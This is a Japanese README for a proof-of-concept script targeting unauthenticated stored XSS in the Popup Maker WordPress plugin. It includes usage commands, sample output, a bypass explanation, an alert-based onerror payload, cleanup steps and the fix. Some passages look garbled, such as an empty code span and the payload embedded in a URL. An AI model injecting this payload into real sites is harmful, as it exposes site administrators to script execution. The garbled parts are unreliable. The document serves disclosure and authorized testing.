
CVE-2026-87915 の Shell PoC。WordPress プラグイン Popup Maker (<=1.24.0) における未認証の蓄積型 XSS です。プラグインをフィンガープリントし、ペイロード注入を実演します。
| Component | Popup Maker – Boost Sales, Conversions, Optins, Subscribers (WordPressプラグイン) |
| Type | CWE-79 — 蓄積型クロスサイトスクリプティング |
| Affected | <= 1.24.0 |
| Fixed | 1.25.0 |
| CVE | CVE-2026-87915 — CVSS 3.1 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) |
| PoC | poc.sh |
公開されているPopup Makerのオプトイン/ニュースレターフォームは、values[Name] パラメータを
サニタイズせずに受け付けます (action=pum_sub_form)。この値はサーバー側に保存され、後に
管理画面の Subscribers 画面でレンダリングされます。出力時に適用される wp_kses() フィルタリングは
このコンテキストでは不十分です。許可された属性値内のHTMLエンティティは正規化をすり抜け、
管理者がコンテキストヘルプタブのアンカーをクリックした際に wp-admin/js/common.js 内の
jQuery( link.attr('href') ) DOMシンクによって評価されます。正味の影響: 管理者に対する
未認証の蓄積型XSS (管理者側での1クリックが必要)。
# Interactive menu
./poc.sh
# Read-only: fingerprint the plugin and detect a public subscribe form
./poc.sh check --target https://example.com
# Store the payload (writes ONE subscriber row; requires authorization)
./poc.sh inject --target https://example.com --authorized
inject はデフォルトで一意のテストメールアドレスを使用し、クリーンアップ手順 (管理UIまたは
DELETE FROM wp_pum_subscribers WHERE email = '…';) を出力します。
check)== CVE-2026-87915 PoC (check) ==
target: https://example.com
[1] Plugin fingerprint (read-only)
[PASS] Popup Maker assets are served (plugin installed)
[info] detected version: 1.22.0
[PASS] version 1.22.0 is in the affected range (<= 1.24.0)
[2] Public subscribe form detection (read-only)
[PASS] Popup Maker markup found on the site (a public form may accept values[Name])
inject、ラボ環境)[3] Stored injection via pum_sub_form (writes one subscriber row)
response: {"success":true,"data":{"message":"You have been subscribed!"}}
[PASS] the server accepted and stored the payload unauthenticated
values[Name] = <a href="https://github.com/pwnvader/cve-2026-87915-poc-pwnvader/blob/main/%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E">VDP-XSS-PROOF</a>
values[name] (小文字) は通常のフィールドです。大文字小文字が混在した values[Name] は
PHPの配列キー正規化の際に衝突し、ペイロードを通過させます。wp_kses() は <a href> 要素を許可します。属性内のエンティティエンコードされた `` は
フィルタリングをすり抜け、後でデコード/正規化されます。wp-admin/js/common.js は jQuery( link.attr('href') ) を評価し、これがデコードされたHTMLを
パースして onerror ハンドラを発火させます。esc_html() + sanitize_text_field() を適用;
classes/Admin/Subscribers/Table.php のベンダーチェンジセットを参照)。values[Name] をフィルタリングしてください。認可されたセキュリティテスト専用です。check は読み取り専用です。inject はテスト購読者行を
正確に1つ作成します — その後、出力されたクリーンアップコマンドで削除してください。